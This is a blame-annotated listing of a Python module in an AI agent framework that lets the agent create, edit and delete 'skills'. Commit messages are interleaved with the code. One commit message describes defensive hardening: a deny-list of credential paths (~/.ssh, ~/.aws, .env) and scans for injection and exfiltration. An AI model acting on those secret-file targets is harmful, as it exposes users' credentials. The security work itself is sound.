2026-02-19 18:25:53 -08:00
|
|
|
#!/usr/bin/env python3
|
|
|
|
|
"""
|
|
|
|
|
Skill Manager Tool -- Agent-Managed Skill Creation & Editing
|
|
|
|
|
|
|
|
|
|
Allows the agent to create, update, and delete skills, turning successful
|
|
|
|
|
approaches into reusable procedural knowledge. New skills are created in
|
|
|
|
|
~/.hermes/skills/. Existing skills (bundled, hub-installed, or user-created)
|
|
|
|
|
can be modified or deleted wherever they live.
|
|
|
|
|
|
|
|
|
|
Skills are the agent's procedural memory: they capture *how to do a specific
|
|
|
|
|
type of task* based on proven experience. General memory (MEMORY.md, USER.md) is
|
|
|
|
|
broad and declarative. Skills are narrow and actionable.
|
|
|
|
|
|
|
|
|
|
Actions:
|
|
|
|
|
create -- Create a new skill (SKILL.md + directory structure)
|
|
|
|
|
edit -- Replace the SKILL.md content of a user skill (full rewrite)
|
|
|
|
|
patch -- Targeted find-and-replace within SKILL.md or any supporting file
|
|
|
|
|
delete -- Remove a user skill entirely
|
|
|
|
|
write_file -- Add/overwrite a supporting file (reference, template, script, asset)
|
|
|
|
|
remove_file-- Remove a supporting file from a user skill
|
|
|
|
|
|
|
|
|
|
Directory layout for user skills:
|
|
|
|
|
~/.hermes/skills/
|
|
|
|
|
├── my-skill/
|
|
|
|
|
│ ├── SKILL.md
|
|
|
|
|
│ ├── references/
|
|
|
|
|
│ ├── templates/
|
|
|
|
|
│ ├── scripts/
|
|
|
|
|
│ └── assets/
|
|
|
|
|
└── category-name/
|
|
|
|
|
└── another-skill/
|
|
|
|
|
└── SKILL.md
|
|
|
|
|
"""
|
|
|
|
|
|
|
|
|
|
import json
|
Harden agent attack surface: scan writes to memory, skills, cron, and context files
The security scanner (skills_guard.py) was only wired into the hub install path.
All other write paths to persistent state — skills created by the agent, memory
entries, cron prompts, and context files — bypassed it entirely. This closes
those gaps:
- file_operations: deny-list blocks writes to ~/.ssh, ~/.aws, ~/.hermes/.env, etc.
- code_execution_tool: filter secret env vars from sandbox child process
- skill_manager_tool: wire scan_skill() into create/edit/patch/write_file with rollback
- skills_guard: add "agent-created" trust level (same policy as community)
- memory_tool: scan content for injection/exfil before system prompt injection
- prompt_builder: scan AGENTS.md, .cursorrules, SOUL.md for prompt injection
- cronjob_tools: scan cron prompts for critical threats before scheduling
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-25 23:43:15 -05:00
|
|
|
import logging
|
2026-02-19 18:25:53 -08:00
|
|
|
import os
|
|
|
|
|
import re
|
|
|
|
|
import shutil
|
2026-03-07 00:49:10 +03:00
|
|
|
import tempfile
|
2026-02-19 18:25:53 -08:00
|
|
|
from pathlib import Path
|
2026-04-15 04:57:55 -07:00
|
|
|
from hermes_constants import get_hermes_home, display_hermes_home
|
2026-04-10 12:37:06 +03:00
|
|
|
from typing import Dict, Any, Optional, Tuple
|
2026-02-19 18:25:53 -08:00
|
|
|
|
2026-04-30 20:39:29 -07:00
|
|
|
from utils import atomic_replace, is_truthy_value
|
refactor(config): add cfg_get() helper; migrate 20 nested-get call sites (#17304)
The "cfg.get('X', {}).get('Y', default)" pattern appears 50+ times
across tools/, gateway/, and plugins/. Each call site manually handles
the same three gotchas:
1. Missing intermediate key → empty dict → chain works
2. Non-dict value at intermediate position → AttributeError
(uncaught in most sites, so a misconfigured YAML crashes the tool)
3. cfg is None → AttributeError
Introduces cfg_get(cfg, *keys, default=None) in hermes_cli/config.py
as the canonical helper. Handles all three uniformly, returns default
only when the final key is *absent* (matches dict.get semantics —
explicit None values are preserved, falsy values like 0 / False / ''
are preserved).
Named cfg_get rather than cfg_path to avoid shadowing the existing
'cfg_path = _hermes_home / "config.yaml"' local variable that appears
in gateway/run.py, cron/scheduler.py, hermes_cli/main.py, etc.
Migrated 20 call sites as the first-batch proof-of-value:
gateway/run.py 10 sites (agent/display subtrees)
tools/browser_tool.py 3 sites
tools/vision_tools.py 2 sites
tools/browser_camofox.py 1 site
tools/approval.py 1 site
tools/skills_tool.py 1 site
tools/skill_manager_tool.py 1 site
tools/credential_files.py 1 site
tools/env_passthrough.py 1 site
The remaining ~30 sites across plugins/ and smaller tool files can be
migrated opportunistically — the helper is now available and the
pattern is established.
Fixed a latent bug along the way: tools/vision_tools.py had its
cfg_get usage at line 560 inside a function that locally re-imports
'from hermes_cli.config import load_config', but the AST-based
migration script wrote the top-level cfg_get import to a different
function scope, leaving line 560's cfg_get as a NameError silently
swallowed by the surrounding try/except. Test
test_vision_uses_configured_temperature_and_timeout caught it. Fixed
by including cfg_get in the function-local import.
Verified:
- 7880/7893 tests/tools/ + tests/gateway/ + tests/hermes_cli/test_config
tests pass; all 13 failures pre-existing on main (MCP, delegate,
session_split_brain — verified earlier in the sweep).
- All 20 migrated sites AST-verified to have cfg_get in scope (either
module-level or function-local).
- Live 'hermes chat' smoke: 2 turns + /model switch + tool calls +
/quit, zero errors. Agent correctly counted 20 cfg_get hits across
8 tool files — matching the migration.
Semantic parity verified against the original pattern across 8 edge
cases (missing keys, None values, falsy values, empty strings, string
instead of dict, None cfg, nested levels).
2026-04-28 23:17:39 -07:00
|
|
|
from hermes_cli.config import cfg_get
|
refactor: consolidate symlink-safe atomic replace into shared helper
Extract the islink/realpath guard from the 16743 fix into a single
atomic_replace() helper in utils.py, then migrate every os.replace()
call site in the codebase to use it.
The original PR #16777 correctly identified and fixed the bug, but
only patched 9 of ~24 call sites. The same bug class (managed
deployments that symlink state files silently losing the link on
every write) still existed at auth.json, sessions file, gateway
config, env_loader, webhook subscriptions, debug store, model
catalog, pairing, google OAuth, nous rate guard, and more.
Rather than add another 10+ copies of the same three-line guard,
consolidate into atomic_replace(tmp, target) which:
- resolves symlinks via os.path.realpath before os.replace
- returns the resolved real path so callers can re-apply permissions
- is a drop-in replacement for os.replace at the use sites
Changes:
- utils.py: new atomic_replace() helper + atomic_json_write /
atomic_yaml_write now call it instead of inlining the guard
- 16 files: all os.replace() call sites migrated to atomic_replace()
- agent/{google_oauth, nous_rate_guard, shell_hooks}.py
- cron/jobs.py
- gateway/{pairing, session, platforms/telegram}.py
- hermes_cli/{auth, config, debug, env_loader, model_catalog, webhook}.py
- tools/{memory_tool, skill_manager_tool, skills_sync}.py
Tests: tests/test_atomic_replace_symlinks.py pins the invariant for
atomic_replace + atomic_json_write + atomic_yaml_write, covers plain
files, first-time creates, broken symlinks, and permission preservation.
Refs #16743
Builds on #16777 by @vominh1919.
2026-04-28 04:51:38 -07:00
|
|
|
|
Harden agent attack surface: scan writes to memory, skills, cron, and context files
The security scanner (skills_guard.py) was only wired into the hub install path.
All other write paths to persistent state — skills created by the agent, memory
entries, cron prompts, and context files — bypassed it entirely. This closes
those gaps:
- file_operations: deny-list blocks writes to ~/.ssh, ~/.aws, ~/.hermes/.env, etc.
- code_execution_tool: filter secret env vars from sandbox child process
- skill_manager_tool: wire scan_skill() into create/edit/patch/write_file with rollback
- skills_guard: add "agent-created" trust level (same policy as community)
- memory_tool: scan content for injection/exfil before system prompt injection
- prompt_builder: scan AGENTS.md, .cursorrules, SOUL.md for prompt injection
- cronjob_tools: scan cron prompts for critical threats before scheduling
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-25 23:43:15 -05:00
|
|
|
logger = logging.getLogger(__name__)
|
|
|
|
|
|
2026-04-23 06:20:19 -07:00
|
|
|
# Import security scanner — external hub installs always get scanned;
|
|
|
|
|
# agent-created skills only get scanned when skills.guard_agent_created is on.
|
Harden agent attack surface: scan writes to memory, skills, cron, and context files
The security scanner (skills_guard.py) was only wired into the hub install path.
All other write paths to persistent state — skills created by the agent, memory
entries, cron prompts, and context files — bypassed it entirely. This closes
those gaps:
- file_operations: deny-list blocks writes to ~/.ssh, ~/.aws, ~/.hermes/.env, etc.
- code_execution_tool: filter secret env vars from sandbox child process
- skill_manager_tool: wire scan_skill() into create/edit/patch/write_file with rollback
- skills_guard: add "agent-created" trust level (same policy as community)
- memory_tool: scan content for injection/exfil before system prompt injection
- prompt_builder: scan AGENTS.md, .cursorrules, SOUL.md for prompt injection
- cronjob_tools: scan cron prompts for critical threats before scheduling
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-25 23:43:15 -05:00
|
|
|
try:
|
|
|
|
|
from tools.skills_guard import scan_skill, should_allow_install, format_scan_report
|
|
|
|
|
_GUARD_AVAILABLE = True
|
|
|
|
|
except ImportError:
|
|
|
|
|
_GUARD_AVAILABLE = False
|
|
|
|
|
|
|
|
|
|
|
2026-04-23 06:20:19 -07:00
|
|
|
def _guard_agent_created_enabled() -> bool:
|
|
|
|
|
"""Read skills.guard_agent_created from config (default False).
|
|
|
|
|
|
|
|
|
|
Off by default because the agent can already execute the same code
|
|
|
|
|
paths via terminal() with no gate, so the scan adds friction without
|
|
|
|
|
meaningful security. Users who want belt-and-suspenders can turn it
|
|
|
|
|
on via `hermes config set skills.guard_agent_created true`.
|
|
|
|
|
"""
|
|
|
|
|
try:
|
|
|
|
|
from hermes_cli.config import load_config
|
|
|
|
|
cfg = load_config()
|
2026-04-30 20:39:29 -07:00
|
|
|
return is_truthy_value(
|
|
|
|
|
cfg_get(cfg, "skills", "guard_agent_created"),
|
|
|
|
|
default=False,
|
|
|
|
|
)
|
2026-04-23 06:20:19 -07:00
|
|
|
except Exception:
|
|
|
|
|
return False
|
|
|
|
|
|
|
|
|
|
|
Harden agent attack surface: scan writes to memory, skills, cron, and context files
The security scanner (skills_guard.py) was only wired into the hub install path.
All other write paths to persistent state — skills created by the agent, memory
entries, cron prompts, and context files — bypassed it entirely. This closes
those gaps:
- file_operations: deny-list blocks writes to ~/.ssh, ~/.aws, ~/.hermes/.env, etc.
- code_execution_tool: filter secret env vars from sandbox child process
- skill_manager_tool: wire scan_skill() into create/edit/patch/write_file with rollback
- skills_guard: add "agent-created" trust level (same policy as community)
- memory_tool: scan content for injection/exfil before system prompt injection
- prompt_builder: scan AGENTS.md, .cursorrules, SOUL.md for prompt injection
- cronjob_tools: scan cron prompts for critical threats before scheduling
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-25 23:43:15 -05:00
|
|
|
def _security_scan_skill(skill_dir: Path) -> Optional[str]:
|
2026-04-23 06:20:19 -07:00
|
|
|
"""Scan a skill directory after write. Returns error string if blocked, else None.
|
|
|
|
|
|
|
|
|
|
No-op when skills.guard_agent_created is disabled (the default).
|
|
|
|
|
"""
|
Harden agent attack surface: scan writes to memory, skills, cron, and context files
The security scanner (skills_guard.py) was only wired into the hub install path.
All other write paths to persistent state — skills created by the agent, memory
entries, cron prompts, and context files — bypassed it entirely. This closes
those gaps:
- file_operations: deny-list blocks writes to ~/.ssh, ~/.aws, ~/.hermes/.env, etc.
- code_execution_tool: filter secret env vars from sandbox child process
- skill_manager_tool: wire scan_skill() into create/edit/patch/write_file with rollback
- skills_guard: add "agent-created" trust level (same policy as community)
- memory_tool: scan content for injection/exfil before system prompt injection
- prompt_builder: scan AGENTS.md, .cursorrules, SOUL.md for prompt injection
- cronjob_tools: scan cron prompts for critical threats before scheduling
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-25 23:43:15 -05:00
|
|
|
if not _GUARD_AVAILABLE:
|
|
|
|
|
return None
|
2026-04-23 06:20:19 -07:00
|
|
|
if not _guard_agent_created_enabled():
|
|
|
|
|
return None
|
Harden agent attack surface: scan writes to memory, skills, cron, and context files
The security scanner (skills_guard.py) was only wired into the hub install path.
All other write paths to persistent state — skills created by the agent, memory
entries, cron prompts, and context files — bypassed it entirely. This closes
those gaps:
- file_operations: deny-list blocks writes to ~/.ssh, ~/.aws, ~/.hermes/.env, etc.
- code_execution_tool: filter secret env vars from sandbox child process
- skill_manager_tool: wire scan_skill() into create/edit/patch/write_file with rollback
- skills_guard: add "agent-created" trust level (same policy as community)
- memory_tool: scan content for injection/exfil before system prompt injection
- prompt_builder: scan AGENTS.md, .cursorrules, SOUL.md for prompt injection
- cronjob_tools: scan cron prompts for critical threats before scheduling
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-25 23:43:15 -05:00
|
|
|
try:
|
|
|
|
|
result = scan_skill(skill_dir, source="agent-created")
|
|
|
|
|
allowed, reason = should_allow_install(result)
|
2026-03-22 03:56:02 -07:00
|
|
|
if allowed is False:
|
Harden agent attack surface: scan writes to memory, skills, cron, and context files
The security scanner (skills_guard.py) was only wired into the hub install path.
All other write paths to persistent state — skills created by the agent, memory
entries, cron prompts, and context files — bypassed it entirely. This closes
those gaps:
- file_operations: deny-list blocks writes to ~/.ssh, ~/.aws, ~/.hermes/.env, etc.
- code_execution_tool: filter secret env vars from sandbox child process
- skill_manager_tool: wire scan_skill() into create/edit/patch/write_file with rollback
- skills_guard: add "agent-created" trust level (same policy as community)
- memory_tool: scan content for injection/exfil before system prompt injection
- prompt_builder: scan AGENTS.md, .cursorrules, SOUL.md for prompt injection
- cronjob_tools: scan cron prompts for critical threats before scheduling
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-25 23:43:15 -05:00
|
|
|
report = format_scan_report(result)
|
|
|
|
|
return f"Security scan blocked this skill ({reason}):\n{report}"
|
2026-03-22 03:56:02 -07:00
|
|
|
if allowed is None:
|
2026-04-14 14:23:37 -07:00
|
|
|
# "ask" verdict — for agent-created skills this means dangerous
|
2026-04-23 06:20:19 -07:00
|
|
|
# findings were detected. Surface as an error so the agent can
|
|
|
|
|
# retry with the flagged content removed.
|
2026-03-22 03:56:02 -07:00
|
|
|
report = format_scan_report(result)
|
2026-04-14 14:23:37 -07:00
|
|
|
logger.warning("Agent-created skill blocked (dangerous findings): %s", reason)
|
|
|
|
|
return f"Security scan blocked this skill ({reason}):\n{report}"
|
Harden agent attack surface: scan writes to memory, skills, cron, and context files
The security scanner (skills_guard.py) was only wired into the hub install path.
All other write paths to persistent state — skills created by the agent, memory
entries, cron prompts, and context files — bypassed it entirely. This closes
those gaps:
- file_operations: deny-list blocks writes to ~/.ssh, ~/.aws, ~/.hermes/.env, etc.
- code_execution_tool: filter secret env vars from sandbox child process
- skill_manager_tool: wire scan_skill() into create/edit/patch/write_file with rollback
- skills_guard: add "agent-created" trust level (same policy as community)
- memory_tool: scan content for injection/exfil before system prompt injection
- prompt_builder: scan AGENTS.md, .cursorrules, SOUL.md for prompt injection
- cronjob_tools: scan cron prompts for critical threats before scheduling
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-25 23:43:15 -05:00
|
|
|
except Exception as e:
|
2026-03-16 15:25:30 +03:00
|
|
|
logger.warning("Security scan failed for %s: %s", skill_dir, e, exc_info=True)
|
Harden agent attack surface: scan writes to memory, skills, cron, and context files
The security scanner (skills_guard.py) was only wired into the hub install path.
All other write paths to persistent state — skills created by the agent, memory
entries, cron prompts, and context files — bypassed it entirely. This closes
those gaps:
- file_operations: deny-list blocks writes to ~/.ssh, ~/.aws, ~/.hermes/.env, etc.
- code_execution_tool: filter secret env vars from sandbox child process
- skill_manager_tool: wire scan_skill() into create/edit/patch/write_file with rollback
- skills_guard: add "agent-created" trust level (same policy as community)
- memory_tool: scan content for injection/exfil before system prompt injection
- prompt_builder: scan AGENTS.md, .cursorrules, SOUL.md for prompt injection
- cronjob_tools: scan cron prompts for critical threats before scheduling
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-25 23:43:15 -05:00
|
|
|
return None
|
|
|
|
|
|
2026-02-19 18:25:53 -08:00
|
|
|
import yaml
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
# All skills live in ~/.hermes/skills/ (single source of truth)
|
refactor: consolidate get_hermes_home() and parse_reasoning_effort() (#3062)
Centralizes two widely-duplicated patterns into hermes_constants.py:
1. get_hermes_home() — Path resolution for ~/.hermes (HERMES_HOME env var)
- Was copy-pasted inline across 30+ files as:
Path(os.getenv("HERMES_HOME", Path.home() / ".hermes"))
- Now defined once in hermes_constants.py (zero-dependency module)
- hermes_cli/config.py re-exports it for backward compatibility
- Removed local wrapper functions in honcho_integration/client.py,
tools/website_policy.py, tools/tirith_security.py, hermes_cli/uninstall.py
2. parse_reasoning_effort() — Reasoning effort string validation
- Was copy-pasted in cli.py, gateway/run.py, cron/scheduler.py
- Same validation logic: check against (xhigh, high, medium, low, minimal, none)
- Now defined once in hermes_constants.py, called from all 3 locations
- Warning log for unknown values kept at call sites (context-specific)
31 files changed, net +31 lines (125 insertions, 94 deletions)
Full test suite: 6179 passed, 0 failed
2026-03-25 15:54:28 -07:00
|
|
|
HERMES_HOME = get_hermes_home()
|
2026-02-19 18:25:53 -08:00
|
|
|
SKILLS_DIR = HERMES_HOME / "skills"
|
|
|
|
|
|
|
|
|
|
MAX_NAME_LENGTH = 64
|
|
|
|
|
MAX_DESCRIPTION_LENGTH = 1024
|
2026-04-15 17:09:41 -07:00
|
|
|
|
|
|
|
|
|
fix(skills): let skill_manage patch/edit/delete skills in external_dirs in place (#17512)
Closes #4759, closes #4381.
Mutating actions (patch, edit, write_file, remove_file, delete) used to
refuse skills that lived under `skills.external_dirs` with 'Skill X is in
an external directory and cannot be modified. Copy it to your local skills
directory first.' Faced with that error, the agent would fall back to
action='create', which always writes under ~/.hermes/skills/ — producing
a silent duplicate of the external skill in the local store.
Fix: drop the read-only gate. `skills.external_dirs` is configured by the
user; if they pointed it at a directory, they already said 'these are my
skills, treat them the same.' Filesystem permissions handle the genuine
read-only case (write fails, agent sees the error).
- New _containing_skills_root() resolves whichever dir actually contains
the skill; _delete_skill uses it to bound empty-category cleanup so an
external root is never rmdir'd.
- _create_skill behavior is unchanged: new skills still land in local
SKILLS_DIR only. Fewer moving parts.
- Seven new TestExternalSkillMutations tests covering patch/edit/write_file/
remove_file/delete/create against a mocked two-root layout + a category
rmdir-safety check.
2026-04-29 08:16:52 -07:00
|
|
|
def _containing_skills_root(skill_path: Path) -> Path:
|
|
|
|
|
"""Return the skills root directory (local or external_dirs entry) that
|
|
|
|
|
contains ``skill_path``. Falls back to the local ``SKILLS_DIR`` if no
|
|
|
|
|
match is found (defensive — callers should have located the skill via
|
|
|
|
|
``_find_skill`` first).
|
2026-04-15 17:09:41 -07:00
|
|
|
"""
|
fix(skills): let skill_manage patch/edit/delete skills in external_dirs in place (#17512)
Closes #4759, closes #4381.
Mutating actions (patch, edit, write_file, remove_file, delete) used to
refuse skills that lived under `skills.external_dirs` with 'Skill X is in
an external directory and cannot be modified. Copy it to your local skills
directory first.' Faced with that error, the agent would fall back to
action='create', which always writes under ~/.hermes/skills/ — producing
a silent duplicate of the external skill in the local store.
Fix: drop the read-only gate. `skills.external_dirs` is configured by the
user; if they pointed it at a directory, they already said 'these are my
skills, treat them the same.' Filesystem permissions handle the genuine
read-only case (write fails, agent sees the error).
- New _containing_skills_root() resolves whichever dir actually contains
the skill; _delete_skill uses it to bound empty-category cleanup so an
external root is never rmdir'd.
- _create_skill behavior is unchanged: new skills still land in local
SKILLS_DIR only. Fewer moving parts.
- Seven new TestExternalSkillMutations tests covering patch/edit/write_file/
remove_file/delete/create against a mocked two-root layout + a category
rmdir-safety check.
2026-04-29 08:16:52 -07:00
|
|
|
from agent.skill_utils import get_all_skills_dirs
|
|
|
|
|
|
2026-04-15 17:09:41 -07:00
|
|
|
try:
|
fix(skills): let skill_manage patch/edit/delete skills in external_dirs in place (#17512)
Closes #4759, closes #4381.
Mutating actions (patch, edit, write_file, remove_file, delete) used to
refuse skills that lived under `skills.external_dirs` with 'Skill X is in
an external directory and cannot be modified. Copy it to your local skills
directory first.' Faced with that error, the agent would fall back to
action='create', which always writes under ~/.hermes/skills/ — producing
a silent duplicate of the external skill in the local store.
Fix: drop the read-only gate. `skills.external_dirs` is configured by the
user; if they pointed it at a directory, they already said 'these are my
skills, treat them the same.' Filesystem permissions handle the genuine
read-only case (write fails, agent sees the error).
- New _containing_skills_root() resolves whichever dir actually contains
the skill; _delete_skill uses it to bound empty-category cleanup so an
external root is never rmdir'd.
- _create_skill behavior is unchanged: new skills still land in local
SKILLS_DIR only. Fewer moving parts.
- Seven new TestExternalSkillMutations tests covering patch/edit/write_file/
remove_file/delete/create against a mocked two-root layout + a category
rmdir-safety check.
2026-04-29 08:16:52 -07:00
|
|
|
resolved = skill_path.resolve()
|
|
|
|
|
except OSError:
|
|
|
|
|
resolved = skill_path
|
|
|
|
|
|
|
|
|
|
for root in get_all_skills_dirs():
|
|
|
|
|
try:
|
|
|
|
|
resolved.relative_to(root.resolve())
|
|
|
|
|
return root
|
|
|
|
|
except (ValueError, OSError):
|
|
|
|
|
continue
|
|
|
|
|
return SKILLS_DIR
|
|
|
|
|
|
|
|
|
|
|
2026-04-29 10:28:25 -07:00
|
|
|
def _pinned_guard(name: str) -> Optional[str]:
|
|
|
|
|
"""Return a refusal message if *name* is pinned, else None.
|
|
|
|
|
|
|
|
|
|
Pinned skills are off-limits to the agent's skill_manage tool. The only
|
|
|
|
|
way to modify one is for the user to unpin it via
|
|
|
|
|
``hermes curator unpin <name>`` (or edit it directly by hand). This
|
|
|
|
|
mirrors the curator's own pinned-skip behavior but extends the guard
|
|
|
|
|
to tool-driven writes as well, giving users a hard fence against
|
|
|
|
|
accidental agent edits.
|
|
|
|
|
|
|
|
|
|
Best-effort: if the sidecar is unreadable we let the write through
|
|
|
|
|
rather than block on a broken telemetry file.
|
|
|
|
|
"""
|
|
|
|
|
try:
|
|
|
|
|
from tools import skill_usage
|
|
|
|
|
rec = skill_usage.get_record(name)
|
|
|
|
|
if rec.get("pinned"):
|
|
|
|
|
return (
|
|
|
|
|
f"Skill '{name}' is pinned and cannot be modified by "
|
|
|
|
|
f"skill_manage. Ask the user to run "
|
|
|
|
|
f"`hermes curator unpin {name}` if they want the change."
|
|
|
|
|
)
|
|
|
|
|
except Exception:
|
|
|
|
|
logger.debug("pinned-guard lookup failed for %s", name, exc_info=True)
|
|
|
|
|
return None
|
|
|
|
|
|
|
|
|
|
|
2026-04-01 04:19:19 -07:00
|
|
|
MAX_SKILL_CONTENT_CHARS = 100_000 # ~36k tokens at 2.75 chars/token
|
|
|
|
|
MAX_SKILL_FILE_BYTES = 1_048_576 # 1 MiB per supporting file
|
2026-02-19 18:25:53 -08:00
|
|
|
|
|
|
|
|
# Characters allowed in skill names (filesystem-safe, URL-friendly)
|
|
|
|
|
VALID_NAME_RE = re.compile(r'^[a-z0-9][a-z0-9._-]*$')
|
|
|
|
|
|
|
|
|
|
# Subdirectories allowed for write_file/remove_file
|
|
|
|
|
ALLOWED_SUBDIRS = {"references", "templates", "scripts", "assets"}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
# =============================================================================
|
|
|
|
|
# Validation helpers
|
|
|
|
|
# =============================================================================
|
|
|
|
|
|
|
|
|
|
def _validate_name(name: str) -> Optional[str]:
|
|
|
|
|
"""Validate a skill name. Returns error message or None if valid."""
|
|
|
|
|
if not name:
|
|
|
|
|
return "Skill name is required."
|
|
|
|
|
if len(name) > MAX_NAME_LENGTH:
|
|
|
|
|
return f"Skill name exceeds {MAX_NAME_LENGTH} characters."
|
|
|
|
|
if not VALID_NAME_RE.match(name):
|
|
|
|
|
return (
|
|
|
|
|
f"Invalid skill name '{name}'. Use lowercase letters, numbers, "
|
|
|
|
|
f"hyphens, dots, and underscores. Must start with a letter or digit."
|
|
|
|
|
)
|
|
|
|
|
return None
|
|
|
|
|
|
|
|
|
|
|
2026-03-29 20:08:22 -07:00
|
|
|
def _validate_category(category: Optional[str]) -> Optional[str]:
|
|
|
|
|
"""Validate an optional category name used as a single directory segment."""
|
|
|
|
|
if category is None:
|
|
|
|
|
return None
|
|
|
|
|
if not isinstance(category, str):
|
|
|
|
|
return "Category must be a string."
|
|
|
|
|
|
|
|
|
|
category = category.strip()
|
|
|
|
|
if not category:
|
|
|
|
|
return None
|
|
|
|
|
if "/" in category or "\\" in category:
|
|
|
|
|
return (
|
|
|
|
|
f"Invalid category '{category}'. Use lowercase letters, numbers, "
|
|
|
|
|
"hyphens, dots, and underscores. Categories must be a single directory name."
|
|
|
|
|
)
|
|
|
|
|
if len(category) > MAX_NAME_LENGTH:
|
|
|
|
|
return f"Category exceeds {MAX_NAME_LENGTH} characters."
|
|
|
|
|
if not VALID_NAME_RE.match(category):
|
|
|
|
|
return (
|
|
|
|
|
f"Invalid category '{category}'. Use lowercase letters, numbers, "
|
|
|
|
|
"hyphens, dots, and underscores. Categories must be a single directory name."
|
|
|
|
|
)
|
|
|
|
|
return None
|
|
|
|
|
|
|
|
|
|
|
2026-02-19 18:25:53 -08:00
|
|
|
def _validate_frontmatter(content: str) -> Optional[str]:
|
|
|
|
|
"""
|
|
|
|
|
Validate that SKILL.md content has proper frontmatter with required fields.
|
|
|
|
|
Returns error message or None if valid.
|
|
|
|
|
"""
|
|
|
|
|
if not content.strip():
|
|
|
|
|
return "Content cannot be empty."
|
|
|
|
|
|
|
|
|
|
if not content.startswith("---"):
|
|
|
|
|
return "SKILL.md must start with YAML frontmatter (---). See existing skills for format."
|
|
|
|
|
|
|
|
|
|
end_match = re.search(r'\n---\s*\n', content[3:])
|
|
|
|
|
if not end_match:
|
|
|
|
|
return "SKILL.md frontmatter is not closed. Ensure you have a closing '---' line."
|
|
|
|
|
|
|
|
|
|
yaml_content = content[3:end_match.start() + 3]
|
|
|
|
|
|
|
|
|
|
try:
|
|
|
|
|
parsed = yaml.safe_load(yaml_content)
|
|
|
|
|
except yaml.YAMLError as e:
|
|
|
|
|
return f"YAML frontmatter parse error: {e}"
|
|
|
|
|
|
|
|
|
|
if not isinstance(parsed, dict):
|
|
|
|
|
return "Frontmatter must be a YAML mapping (key: value pairs)."
|
|
|
|
|
|
|
|
|
|
if "name" not in parsed:
|
|
|
|
|
return "Frontmatter must include 'name' field."
|
|
|
|
|
if "description" not in parsed:
|
|
|
|
|
return "Frontmatter must include 'description' field."
|
|
|
|
|
if len(str(parsed["description"])) > MAX_DESCRIPTION_LENGTH:
|
|
|
|
|
return f"Description exceeds {MAX_DESCRIPTION_LENGTH} characters."
|
|
|
|
|
|
|
|
|
|
body = content[end_match.end() + 3:].strip()
|
|
|
|
|
if not body:
|
|
|
|
|
return "SKILL.md must have content after the frontmatter (instructions, procedures, etc.)."
|
|
|
|
|
|
|
|
|
|
return None
|
|
|
|
|
|
|
|
|
|
|
2026-04-01 04:19:19 -07:00
|
|
|
def _validate_content_size(content: str, label: str = "SKILL.md") -> Optional[str]:
|
|
|
|
|
"""Check that content doesn't exceed the character limit for agent writes.
|
|
|
|
|
|
|
|
|
|
Returns an error message or None if within bounds.
|
|
|
|
|
"""
|
|
|
|
|
if len(content) > MAX_SKILL_CONTENT_CHARS:
|
|
|
|
|
return (
|
|
|
|
|
f"{label} content is {len(content):,} characters "
|
|
|
|
|
f"(limit: {MAX_SKILL_CONTENT_CHARS:,}). "
|
|
|
|
|
f"Consider splitting into a smaller SKILL.md with supporting files "
|
|
|
|
|
f"in references/ or templates/."
|
|
|
|
|
)
|
|
|
|
|
return None
|
|
|
|
|
|
|
|
|
|
|
2026-02-19 18:25:53 -08:00
|
|
|
def _resolve_skill_dir(name: str, category: str = None) -> Path:
|
|
|
|
|
"""Build the directory path for a new skill, optionally under a category."""
|
|
|
|
|
if category:
|
|
|
|
|
return SKILLS_DIR / category / name
|
|
|
|
|
return SKILLS_DIR / name
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def _find_skill(name: str) -> Optional[Dict[str, Any]]:
|
|
|
|
|
"""
|
2026-04-03 21:14:34 -07:00
|
|
|
Find a skill by name across all skill directories.
|
|
|
|
|
|
|
|
|
|
Searches the local skills dir (~/.hermes/skills/) first, then any
|
|
|
|
|
external dirs configured via skills.external_dirs. Returns
|
|
|
|
|
{"path": Path} or None.
|
2026-02-19 18:25:53 -08:00
|
|
|
"""
|
2026-04-03 21:14:34 -07:00
|
|
|
from agent.skill_utils import get_all_skills_dirs
|
|
|
|
|
for skills_dir in get_all_skills_dirs():
|
|
|
|
|
if not skills_dir.exists():
|
|
|
|
|
continue
|
|
|
|
|
for skill_md in skills_dir.rglob("SKILL.md"):
|
|
|
|
|
if skill_md.parent.name == name:
|
|
|
|
|
return {"path": skill_md.parent}
|
2026-02-19 18:25:53 -08:00
|
|
|
return None
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def _validate_file_path(file_path: str) -> Optional[str]:
|
|
|
|
|
"""
|
|
|
|
|
Validate a file path for write_file/remove_file.
|
|
|
|
|
Must be under an allowed subdirectory and not escape the skill dir.
|
|
|
|
|
"""
|
refactor: extract shared helpers to deduplicate repeated code patterns (#7917)
* refactor: add shared helper modules for code deduplication
New modules:
- gateway/platforms/helpers.py: MessageDeduplicator, TextBatchAggregator,
strip_markdown, ThreadParticipationTracker, redact_phone
- hermes_cli/cli_output.py: print_info/success/warning/error, prompt helpers
- tools/path_security.py: validate_within_dir, has_traversal_component
- utils.py additions: safe_json_loads, read_json_file, read_jsonl,
append_jsonl, env_str/lower/int/bool helpers
- hermes_constants.py additions: get_config_path, get_skills_dir,
get_logs_dir, get_env_path
* refactor: migrate gateway adapters to shared helpers
- MessageDeduplicator: discord, slack, dingtalk, wecom, weixin, mattermost
- strip_markdown: bluebubbles, feishu, sms
- redact_phone: sms, signal
- ThreadParticipationTracker: discord, matrix
- _acquire/_release_platform_lock: telegram, discord, slack, whatsapp,
signal, weixin
Net -316 lines across 19 files.
* refactor: migrate CLI modules to shared helpers
- tools_config.py: use cli_output print/prompt + curses_radiolist (-117 lines)
- setup.py: use cli_output print helpers + curses_radiolist (-101 lines)
- mcp_config.py: use cli_output prompt (-15 lines)
- memory_setup.py: use curses_radiolist (-86 lines)
Net -263 lines across 5 files.
* refactor: migrate to shared utility helpers
- safe_json_loads: agent/display.py (4 sites)
